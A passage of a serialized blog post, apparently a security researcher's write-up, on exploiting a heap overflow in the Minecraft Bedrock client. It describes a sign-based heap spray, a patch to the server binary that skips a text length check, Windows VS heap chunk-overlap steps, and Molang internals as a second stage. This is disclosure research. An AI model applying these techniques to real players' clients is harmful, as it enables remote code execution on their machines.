6947},[155605],{"type":31,"value":13541},{"type":25,"tag":216,"props":155607,"children":155608},{"style":6958},[155609],{"type":31,"value":15722},{"type":25,"tag":216,"props":155611,"children":155612},{"class":6916,"line":27864},[155613],{"type":25,"tag":216,"props":155614,"children":155615},{"style":6958},[155616],{"type":31,"value":7296},{"type":25,"tag":216,"props":155618,"children":155619},{"class":6916,"line":27873},[155620],{"type":25,"tag":216,"props":155621,"children":155622},{"style":6958},[155623],{"type":31,"value":7305},{"type":25,"tag":216,"props":155625,"children":155626},{"class":6916,"line":36237},[155627],{"type":25,"tag":216,"props":155628,"children":155629},{"style":6958},[155630],{"type":31,"value":7868},{"type":25,"tag":216,"props":155632,"children":155633},{"class":6916,"line":36258},[155634],{"type":25,"tag":216,"props":155635,"children":155636},{"emptyLinePlaceholder":16},[155637],{"type":31,"value":7636},{"type":25,"tag":216,"props":155639,"children":155640},{"class":6916,"line":84917},[155641,155646,155650,155655,155659,155664,155668,155673,155677,155682,155686,155690],{"type":25,"tag":216,"props":155642,"children":155643},{"style":6941},[155644],{"type":31,"value":155645},"world",{"type":25,"tag":216,"props":155647,"children":155648},{"style":6958},[155649],{"type":31,"value":179},{"type":25,"tag":216,"props":155651,"children":155652},{"style":6941},[155653],{"type":31,"value":155654},"afterEvents",{"type":25,"tag":216,"props":155656,"children":155657},{"style":6958},[155658],{"type":31,"value":179},{"type":25,"tag":216,"props":155660,"children":155661},{"style":6941},[155662],{"type":31,"value":155663},"playerSpawn",{"type":25,"tag":216,"props":155665,"children":155666},{"style":6958},[155667],{"type":31,"value":179},{"type":25,"tag":216,"props":155669,"children":155670},{"style":7041},[155671],{"type":31,"value":155672},"subscribe",{"type":25,"tag":216,"props":155674,"children":155675},{"style":6958},[155676],{"type":31,"value":35479},{"type":25,"tag":216,"props":155678,"children":155679},{"style":6941},[155680],{"type":31,"value":155681},"arg",{"type":25,"tag":216,"props":155683,"children":155684},{"style":6958},[155685],{"type":31,"value":7030},{"type":25,"tag":216,"props":155687,"children":155688},{"style":6930},[155689],{"type":31,"value":18773},{"type":25,"tag":216,"props":155691,"children":155692},{"style":6958},[155693],{"type":31,"value":7235},{"type":25,"tag":216,"props":155695,"children":155696},{"class":6916,"line":84930},[155697,155702],{"type":25,"tag":216,"props":155698,"children":155699},{"style":7041},[155700],{"type":31,"value":155701},"    create_wall",{"type":25,"tag":216,"props":155703,"children":155704},{"style":6958},[155705],{"type":31,"value":7627},{"type":25,"tag":216,"props":155707,"children":155708},{"class":6916,"line":84938},[155709],{"type":25,"tag":216,"props":155710,"children":155711},{"style":6958},[155712],{"type":31,"value":39295},{"type":25,"tag":216,"props":155714,"children":155715},{"class":6916,"line":84946},[155716],{"type":25,"tag":216,"props":155717,"children":155718},{"emptyLinePlaceholder":16},[155719],{"type":31,"value":7636},{"type":25,"tag":216,"props":155721,"children":155722},{"class":6916,"line":84954},[155723,155727,155731,155736,155740,155745,155749,155753,155757,155761,155765,155769,155773,155777],{"type":25,"tag":216,"props":155724,"children":155725},{"style":6941},[155726],{"type":31,"value":155645},{"type":25,"tag":216,"props":155728,"children":155729},{"style":6958},[155730],{"type":31,"value":179},{"type":25,"tag":216,"props":155732,"children":155733},{"style":6941},[155734],{"type":31,"value":155735},"beforeEvents",{"type":25,"tag":216,"props":155737,"children":155738},{"style":6958},[155739],{"type":31,"value":179},{"type":25,"tag":216,"props":155741,"children":155742},{"style":6941},[155743],{"type":31,"value":155744},"playerLeave",{"type":25,"tag":216,"props":155746,"children":155747},{"style":6958},[155748],{"type":31,"value":179},{"type":25,"tag":216,"props":155750,"children":155751},{"style":7041},[155752],{"type":31,"value":155672},{"type":25,"tag":216,"props":155754,"children":155755},{"style":6958},[155756],{"type":31,"value":1844},{"type":25,"tag":216,"props":155758,"children":155759},{"style":6930},[155760],{"type":31,"value":40102},{"type":25,"tag":216,"props":155762,"children":155763},{"style":6958},[155764],{"type":31,"value":7010},{"type":25,"tag":216,"props":155766,"children":155767},{"style":6941},[155768],{"type":31,"value":155681},{"type":25,"tag":216,"props":155770,"children":155771},{"style":6958},[155772],{"type":31,"value":7030},{"type":25,"tag":216,"props":155774,"children":155775},{"style":6930},[155776],{"type":31,"value":18773},{"type":25,"tag":216,"props":155778,"children":155779},{"style":6958},[155780],{"type":31,"value":7235},{"type":25,"tag":216,"props":155782,"children":155783},{"class":6916,"line":84994},[155784,155789],{"type":25,"tag":216,"props":155785,"children":155786},{"style":7041},[155787],{"type":31,"value":155788},"    remove_wall",{"type":25,"tag":216,"props":155790,"children":155791},{"style":6958},[155792],{"type":31,"value":7627},{"type":25,"tag":216,"props":155794,"children":155795},{"class":6916,"line":85002},[155796],{"type":25,"tag":216,"props":155797,"children":155798},{"style":6958},[155799],{"type":31,"value":39295},{"type":25,"tag":38,"props":155801,"children":155802},{},[155803],{"type":31,"value":155804},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":25,"tag":38,"props":155806,"children":155807},{},[155808],{"type":25,"tag":6461,"props":155809,"children":155812},{"alt":155810,"src":155811},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":25,"tag":38,"props":155814,"children":155815},{},[155816],{"type":31,"value":155817},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":25,"tag":631,"props":155819,"children":155821},{"id":155820},"a-small-roadblock",[155822],{"type":31,"value":155823},"A Small Roadblock",{"type":25,"tag":38,"props":155825,"children":155826},{},[155827],{"type":31,"value":155828},"While testing our heap spray method, we encountered the following error:",{"type":25,"tag":206,"props":155830,"children":155832},{"code":155831},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[155833],{"type":25,"tag":82,"props":155834,"children":155835},{"__ignoreMap":7},[155836],{"type":31,"value":155831},{"type":25,"tag":38,"props":155838,"children":155839},{},[155840,155842,155848],{"type":31,"value":155841},"An error is thrown by the server executable while trying to assign text longer than ",{"type":25,"tag":82,"props":155843,"children":155845},{"className":155844},[],[155846],{"type":31,"value":155847},"512",{"type":31,"value":155849}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":25,"tag":38,"props":155851,"children":155852},{},[155853],{"type":31,"value":155854},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":25,"tag":38,"props":155856,"children":155857},{},[155858],{"type":31,"value":155859},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":25,"tag":38,"props":155861,"children":155862},{},[155863],{"type":25,"tag":6461,"props":155864,"children":155866},{"alt":54541,"src":155865},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":25,"tag":38,"props":155868,"children":155869},{},[155870,155872,155878],{"type":31,"value":155871},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":25,"tag":82,"props":155873,"children":155875},{"className":155874},[],[155876],{"type":31,"value":155877},"string_length \u003C= 512",{"type":31,"value":155879}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":25,"tag":38,"props":155881,"children":155882},{},[155883],{"type":31,"value":155884},"The disassembly of the comparison looks like this:",{"type":25,"tag":38,"props":155886,"children":155887},{},[155888],{"type":25,"tag":6461,"props":155889,"children":155891},{"alt":54541,"src":155890},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":25,"tag":38,"props":155893,"children":155894},{},[155895,155897,155902,155904,155909,155910,155915,155917,155923,155925,155931,155933,155938,155940,155945],{"type":31,"value":155896},"The code compares ",{"type":25,"tag":82,"props":155898,"children":155900},{"className":155899},[],[155901],{"type":31,"value":60736},{"type":31,"value":155903}," (the string length) to ",{"type":25,"tag":82,"props":155905,"children":155907},{"className":155906},[],[155908],{"type":31,"value":131740},{"type":31,"value":7010},{"type":25,"tag":82,"props":155911,"children":155913},{"className":155912},[],[155914],{"type":31,"value":155847},{"type":31,"value":155916}," decimal). It then performs a ",{"type":25,"tag":82,"props":155918,"children":155920},{"className":155919},[],[155921],{"type":31,"value":155922},"jbe",{"type":31,"value":155924},", jumping to address ",{"type":25,"tag":82,"props":155926,"children":155928},{"className":155927},[],[155929],{"type":31,"value":155930},"0x14275114c",{"type":31,"value":155932}," if ",{"type":25,"tag":82,"props":155934,"children":155936},{"className":155935},[],[155937],{"type":31,"value":60736},{"type":31,"value":155939}," is less than or equal to ",{"type":25,"tag":82,"props":155941,"children":155943},{"className":155942},[],[155944],{"type":31,"value":155847},{"type":31,"value":155946},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":25,"tag":38,"props":155948,"children":155949},{},[155950,155952,155957,155959,155965],{"type":31,"value":155951},"To force execution down this path, we patched the ",{"type":25,"tag":82,"props":155953,"children":155955},{"className":155954},[],[155956],{"type":31,"value":155922},{"type":31,"value":155958}," instruction to an unconditional ",{"type":25,"tag":82,"props":155960,"children":155962},{"className":155961},[],[155963],{"type":31,"value":155964},"jmp",{"type":31,"value":155966},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":25,"tag":38,"props":155968,"children":155969},{},[155970],{"type":25,"tag":6461,"props":155971,"children":155973},{"alt":54541,"src":155972},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":25,"tag":38,"props":155975,"children":155976},{},[155977,155979,155984,155986,155991],{"type":31,"value":155978},"After patching the server and calling ",{"type":25,"tag":82,"props":155980,"children":155982},{"className":155981},[],[155983],{"type":31,"value":154088},{"type":31,"value":155985}," with a size of ",{"type":25,"tag":82,"props":155987,"children":155989},{"className":155988},[],[155990],{"type":31,"value":62110},{"type":31,"value":155992},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":25,"tag":38,"props":155994,"children":155995},{},[155996],{"type":25,"tag":6461,"props":155997,"children":155999},{"alt":54541,"src":155998},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":25,"tag":22747,"props":156001,"children":156002},{},[],{"type":25,"tag":38,"props":156004,"children":156005},{},[156006],{"type":31,"value":156007},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":25,"tag":38,"props":156009,"children":156010},{},[156011],{"type":31,"value":156012},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":25,"tag":607,"props":156014,"children":156016},{"id":156015},"overlapping-heap-chunks",[156017],{"type":31,"value":156018},"Overlapping Heap Chunks",{"type":25,"tag":38,"props":156020,"children":156021},{},[156022,156024,156029],{"type":31,"value":156023},"The attack is described in detail in the referenced blog post (",{"type":25,"tag":162,"props":156025,"children":156027},{"href":153832,"rel":156026},[166],[156028],{"type":31,"value":51547},{"type":31,"value":156030},"), so we will present a high-level overview.",{"type":25,"tag":38,"props":156032,"children":156033},{},[156034,156036,156042],{"type":31,"value":156035},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":25,"tag":82,"props":156037,"children":156039},{"className":156038},[],[156040],{"type":31,"value":156041},"_HEAP_VS_CHUNK_HEADER",{"type":31,"value":156043}," structure layout is required:",{"type":25,"tag":206,"props":156045,"children":156047},{"code":156046},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[156048],{"type":25,"tag":82,"props":156049,"children":156050},{"__ignoreMap":7},[156051],{"type":31,"value":156046},{"type":25,"tag":38,"props":156053,"children":156054},{},[156055,156057,156063,156065,156071,156072,156078,156079,156085,156087,156092,156094,156099,156101,156107,156109,156114,156116,156122],{"type":31,"value":156056},"At offset 0 there is a header ",{"type":25,"tag":82,"props":156058,"children":156060},{"className":156059},[],[156061],{"type":31,"value":156062},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":31,"value":156064}," containing fields such as ",{"type":25,"tag":82,"props":156066,"children":156068},{"className":156067},[],[156069],{"type":31,"value":156070},"MemoryCost",{"type":31,"value":7020},{"type":25,"tag":82,"props":156073,"children":156075},{"className":156074},[],[156076],{"type":31,"value":156077},"UnsafeSize",{"type":31,"value":7020},{"type":25,"tag":82,"props":156080,"children":156082},{"className":156081},[],[156083],{"type":31,"value":156084},"UnsafePrevSize",{"type":31,"value":156086},", etc. For the attack we only care about the ",{"type":25,"tag":82,"props":156088,"children":156090},{"className":156089},[],[156091],{"type":31,"value":156077},{"type":31,"value":156093}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":25,"tag":82,"props":156095,"children":156097},{"className":156096},[],[156098],{"type":31,"value":130363},{"type":31,"value":156100},", so for a chunk of size ",{"type":25,"tag":82,"props":156102,"children":156104},{"className":156103},[],[156105],{"type":31,"value":156106},"0x4010",{"type":31,"value":156108}," the value of ",{"type":25,"tag":82,"props":156110,"children":156112},{"className":156111},[],[156113],{"type":31,"value":156077},{"type":31,"value":156115}," would be ",{"type":25,"tag":82,"props":156117,"children":156119},{"className":156118},[],[156120],{"type":31,"value":156121},"0x401",{"type":31,"value":179},{"type":25,"tag":38,"props":156124,"children":156125},{},[156126,156127,156132],{"type":31,"value":68179},{"type":25,"tag":82,"props":156128,"children":156130},{"className":156129},[],[156131],{"type":31,"value":156077},{"type":31,"value":156133}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":25,"tag":38,"props":156135,"children":156136},{},[156137,156139,156144,156146,156151,156153,156159,156161,156166],{"type":31,"value":156138},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":25,"tag":82,"props":156140,"children":156142},{"className":156141},[],[156143],{"type":31,"value":156077},{"type":31,"value":156145}," in the smallest possible VS chunk (",{"type":25,"tag":82,"props":156147,"children":156149},{"className":156148},[],[156150],{"type":31,"value":156106},{"type":31,"value":156152},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":25,"tag":82,"props":156154,"children":156156},{"className":156155},[],[156157],{"type":31,"value":156158},"[0x10, 0xffff0]",{"type":31,"value":156160}," range, the probability that it exceeds ",{"type":25,"tag":82,"props":156162,"children":156164},{"className":156163},[],[156165],{"type":31,"value":156106},{"type":31,"value":156167}," is:",{"type":25,"tag":206,"props":156169,"children":156171},{"code":156170},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[156172],{"type":25,"tag":82,"props":156173,"children":156174},{"__ignoreMap":7},[156175],{"type":31,"value":156170},{"type":25,"tag":38,"props":156177,"children":156178},{},[156179],{"type":31,"value":156180},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":25,"tag":38,"props":156182,"children":156183},{},[156184],{"type":31,"value":156185},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":25,"tag":631,"props":156187,"children":156189},{"id":156188},"overlap-attack-overview",[156190],{"type":31,"value":156191},"Overlap Attack Overview",{"type":25,"tag":38,"props":156193,"children":156194},{},[156195,156197,156202],{"type":31,"value":156196},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":25,"tag":82,"props":156198,"children":156200},{"className":156199},[],[156201],{"type":31,"value":130386},{"type":31,"value":156203}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":25,"tag":38,"props":156205,"children":156206},{},[156207,156209,156214,156216,156221],{"type":31,"value":156208},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":25,"tag":82,"props":156210,"children":156212},{"className":156211},[],[156213],{"type":31,"value":152091},{"type":31,"value":156215},"-sized chunks in the free list that we want to avoid. If a ",{"type":25,"tag":82,"props":156217,"children":156219},{"className":156218},[],[156220],{"type":31,"value":152091},{"type":31,"value":156222},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":25,"tag":38,"props":156224,"children":156225},{},[156226,156228,156233],{"type":31,"value":156227},"To remove those ",{"type":25,"tag":82,"props":156229,"children":156231},{"className":156230},[],[156232],{"type":31,"value":152091},{"type":31,"value":156234},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":25,"tag":38,"props":156236,"children":156237},{},[156238],{"type":31,"value":156239},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":25,"tag":206,"props":156241,"children":156243},{"code":156242},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[156244],{"type":25,"tag":82,"props":156245,"children":156246},{"__ignoreMap":7},[156247],{"type":31,"value":156242},{"type":25,"tag":38,"props":156249,"children":156250},{},[156251,156253,156258,156260,156265],{"type":31,"value":156252},"Next we create ",{"type":25,"tag":64,"props":156254,"children":156255},{},[156256],{"type":31,"value":156257},"holes",{"type":31,"value":156259}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":25,"tag":82,"props":156261,"children":156263},{"className":156262},[],[156264],{"type":31,"value":152091},{"type":31,"value":156266},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":25,"tag":206,"props":156268,"children":156270},{"code":156269},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[156271],{"type":25,"tag":82,"props":156272,"children":156273},{"__ignoreMap":7},[156274],{"type":31,"value":156269},{"type":25,"tag":38,"props":156276,"children":156277},{},[156278,156280,156285,156287,156292],{"type":31,"value":156279},"When a ",{"type":25,"tag":82,"props":156281,"children":156283},{"className":156282},[],[156284],{"type":31,"value":152091},{"type":31,"value":156286}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":25,"tag":82,"props":156288,"children":156290},{"className":156289},[],[156291],{"type":31,"value":156077},{"type":31,"value":156293}," field will be overwritten:",{"type":25,"tag":206,"props":156295,"children":156297},{"code":156296},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[156298],{"type":25,"tag":82,"props":156299,"children":156300},{"__ignoreMap":7},[156301],{"type":31,"value":156296},{"type":25,"tag":38,"props":156303,"children":156304},{},[156305,156307,156312,156314,156319,156321,156326],{"type":31,"value":156306},"Once ",{"type":25,"tag":82,"props":156308,"children":156310},{"className":156309},[],[156311],{"type":31,"value":156077},{"type":31,"value":156313}," has been overwritten, ",{"type":25,"tag":82,"props":156315,"children":156317},{"className":156316},[],[156318],{"type":31,"value":152091},{"type":31,"value":156320}," allocation is freed immediately after, restoring the previous layout but with ",{"type":25,"tag":82,"props":156322,"children":156324},{"className":156323},[],[156325],{"type":31,"value":156077},{"type":31,"value":156327}," field corrupted:",{"type":25,"tag":206,"props":156329,"children":156331},{"code":156330},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[156332],{"type":25,"tag":82,"props":156333,"children":156334},{"__ignoreMap":7},[156335],{"type":31,"value":156330},{"type":25,"tag":38,"props":156337,"children":156338},{},[156339],{"type":31,"value":156340},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":25,"tag":206,"props":156342,"children":156344},{"code":156343},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[156345],{"type":25,"tag":82,"props":156346,"children":156347},{"__ignoreMap":7},[156348],{"type":31,"value":156343},{"type":25,"tag":38,"props":156350,"children":156351},{},[156352],{"type":31,"value":156353},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":25,"tag":206,"props":156355,"children":156357},{"code":156356},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[156358],{"type":25,"tag":82,"props":156359,"children":156360},{"__ignoreMap":7},[156361],{"type":31,"value":156356},{"type":25,"tag":22747,"props":156363,"children":156364},{},[],{"type":25,"tag":38,"props":156366,"children":156367},{},[156368],{"type":31,"value":156369},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":25,"tag":38,"props":156371,"children":156372},{},[156373],{"type":31,"value":156374},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":25,"tag":607,"props":156376,"children":156378},{"id":156377},"molang",[156379],{"type":31,"value":156380},"Molang",{"type":25,"tag":38,"props":156382,"children":156383},{},[156384,156386,156393],{"type":31,"value":156385},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":25,"tag":162,"props":156387,"children":156390},{"href":156388,"rel":156389},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[166],[156391],{"type":31,"value":156392},"syntax guide",{"type":31,"value":179},{"type":25,"tag":38,"props":156395,"children":156396},{},[156397,156399,156404,156405,156410],{"type":31,"value":156398},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":25,"tag":82,"props":156400,"children":156402},{"className":156401},[],[156403],{"type":31,"value":12522},{"type":31,"value":1301},{"type":25,"tag":82,"props":156406,"children":156408},{"className":156407},[],[156409],{"type":31,"value":19640},{"type":31,"value":156411}," operators are supported.",{"type":25,"tag":38,"props":156413,"children":156414},{},[156415,156417,156423,156425,156430,156432,156437,156438,156443,156444],{"type":31,"value":156416},"Variables are defined by prepending ",{"type":25,"tag":82,"props":156418,"children":156420},{"className":156419},[],[156421],{"type":31,"value":156422},"variable.",{"type":31,"value":156424}," to the name and assigning a value. For example, to define ",{"type":25,"tag":82,"props":156426,"children":156428},{"className":156427},[],[156429],{"type":31,"value":13031},{"type":31,"value":156431}," as the sum of ",{"type":25,"tag":82,"props":156433,"children":156435},{"className":156434},[],[156436],{"type":31,"value":162},{"type":31,"value":1301},{"type":25,"tag":82,"props":156439,"children":156441},{"className":156440},[],[156442],{"type":31,"value":7165},{"type":31,"value":19282},{"type":25,"tag":82,"props":156445,"children":156447},{"className":156446},[],[156448],{"type":31,"value":156449},"variable.result = variable.a + variable.b;",{"type":25,"tag":38,"props":156451,"children":156452},{},[156453,156455,156460,156461,156466,156467,156472,156473,156478],{"type":31,"value":156454},"Logical operators such as ",{"type":25,"tag":82,"props":156456,"children":156458},{"className":156457},[],[156459],{"type":31,"value":26358},{"type":31,"value":7020},{"type":25,"tag":82,"props":156462,"children":156464},{"className":156463},[],[156465],{"type":31,"value":77161},{"type":31,"value":7020},{"type":25,"tag":82,"props":156468,"children":156470},{"className":156469},[],[156471],{"type":31,"value":9751},{"type":31,"value":7020},{"type":25,"tag":82,"props":156474,"children":156476},{"className":156475},[],[156477],{"type":31,"value":5896},{"type":31,"value":156479},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":25,"tag":206,"props":156481,"children":156483},{"code":156482},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[156484],{"type":25,"tag":82,"props":156485,"children":156486},{"__ignoreMap":7},[156487],{"type":31,"value":156482},{"type":25,"tag":38,"props":156489,"children":156490},{},[156491],{"type":31,"value":156492},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":25,"tag":631,"props":156494,"children":156496},{"id":156495},"molang-internals",[156497],{"type":31,"value":156498},"Molang Internals",{"type":25,"tag":38,"props":156500,"children":156501},{},[156502],{"type":31,"value":156503},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":25,"tag":38,"props":156505,"children":156506},{},[156507],{"type":31,"value":156508},"Below we describe the structures involved and their memory layout.",{"type":25,"tag":631,"props":156510,"children":156512},{"id":156511},"molangvariable-and-molangscriptarg",[156513],{"type":31,"value":156514},"MolangVariable and MolangScriptArg",{"type":25,"tag":38,"props":156516,"children":156517},{},[156518,156519,156525],{"type":31,"value":106303},{"type":25,"tag":82,"props":156520,"children":156522},{"className":156521},[],[156523],{"type":31,"value":156524},"MolangVariable",{"type":31,"value":156526}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":25,"tag":206,"props":156528,"children":156530},{"code":156529,"language":2248,"meta":7,"className":20467,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[156531],{"type":25,"tag":82,"props":156532,"children":156533},{"__ignoreMap":7},[156534,156546,156553,156565,156578,156586,156593,156600,156612,156625,156637,156667,156675,156682,156689],{"type":25,"tag":216,"props":156535,"children":156536},{"class":6916,"line":6917},[156537,156541],{"type":25,"tag":216,"props":156538,"children":156539},{"style":6930},[156540],{"type":31,"value":13351},{"type":25,"tag":216,"props":156542,"children":156543},{"style":6958},[156544],{"type":31,"value":156545}," MolangVariable {\n",{"type":25,"tag":216,"props":156547,"children":156548},{"class":6916,"line":6763},[156549],{"type":25,"tag":216,"props":156550,"children":156551},{"style":6958},[156552],{"type":31,"value":65748},{"type":25,"tag":216,"props":156554,"children":156555},{"class":6916,"line":6772},[156556,156560],{"type":25,"tag":216,"props":156557,"children":156558},{"style":6930},[156559],{"type":31,"value":9997},{"type":25,"tag":216,"props":156561,"children":156562},{"style":6958},[156563],{"type":31,"value":156564}," HashedString {\n",{"type":25,"tag":216,"props":156566,"children":156567},{"class":6916,"line":6999},[156568,156573],{"type":25,"tag":216,"props":156569,"children":156570},{"style":6930},[156571],{"type":31,"value":156572},"        uint64_t",{"type":25,"tag":216,"props":156574,"children":156575},{"style":6958},[156576],{"type":31,"value":156577}," variable_name_hash;\n",{"type":25,"tag":216,"props":156579,"children":156580},{"class":6916,"line":7104},[156581],{"type":25,"tag":216,"props":156582,"children":156583},{"style":6958},[156584],{"type":31,"value":156585},"        std::string variable_name;\n",{"type":25,"tag":216,"props":156587,"children":156588},{"class":6916,"line":7210},[156589],{"type":25,"tag":216,"props":156590,"children":156591},{"style":6958},[156592],{"type":31,"value":42954},{"type":25,"tag":216,"props":156594,"children":156595},{"class":6916,"line":7238},[156596],{"type":25,"tag":216,"props":156597,"children":156598},{"style":6958},[156599],{"type":31,"value":65748},{"type":25,"tag":216,"props":156601,"children":156602},{"class":6916,"line":7251},[156603,156607],{"type":25,"tag":216,"props":156604,"children":156605},{"style":6930},[156606],{"type":31,"value":9997},{"type":25,"tag":216,"props":156608,"children":156609},{"style":6958},[156610],{"type":31,"value":156611}," MolangScriptArg {\n",{"type":25,"tag":216,"props":156613,"children":156614},{"class":6916,"line":7269},[156615,156620],{"type":25,"tag":216,"props":156616,"children":156617},{"style":6930},[156618],{"type":31,"value":156619},"        uint32_t",{"type":25,"tag":216,"props":156621,"children":156622},{"style":6958},[156623],{"type":31,"value":156624}," value_type;\n",{"type":25,"tag":216,"props":156626,"children":156627},{"class":6916,"line":7290},[156628,156632],{"type":25,"tag":216,"props":156629,"children":156630},{"style":6930},[156631],{"type":31,"value":156572},{"type":25,"tag":216,"props":156633,"children":156634},{"style":6958},[156635],{"type":31,"value":156636}," value;\n",{"type":25,"tag":216,"props":156638,"children":156639},{"class":6916,"line":7299},[156640,156645,156649,156653,156658,156662],{"type":25,"tag":216,"props":156641,"children":156642},{"style":6958},[156643],{"type":31,"value":156644},"        std::vector",{"type":25,"tag":216,"props":156646,"children":156647},{"style":6947},[156648],{"type":31,"value":9751},{"type":25,"tag":216,"props":156650,"children":156651},{"style":6930},[156652],{"type":31,"value":13351},{"type":25,"tag":216,"props":156654,"children":156655},{"style":6958},[156656],{"type":31,"value":156657}," MolangScriptArg",{"type":25,"tag":216,"props":156659,"children":156660},{"style":6947},[156661],{"type":31,"value":5896},{"type":25,"tag":216,"props":156663,"children":156664},{"style":6958},[156665],{"type":31,"value":156666}," 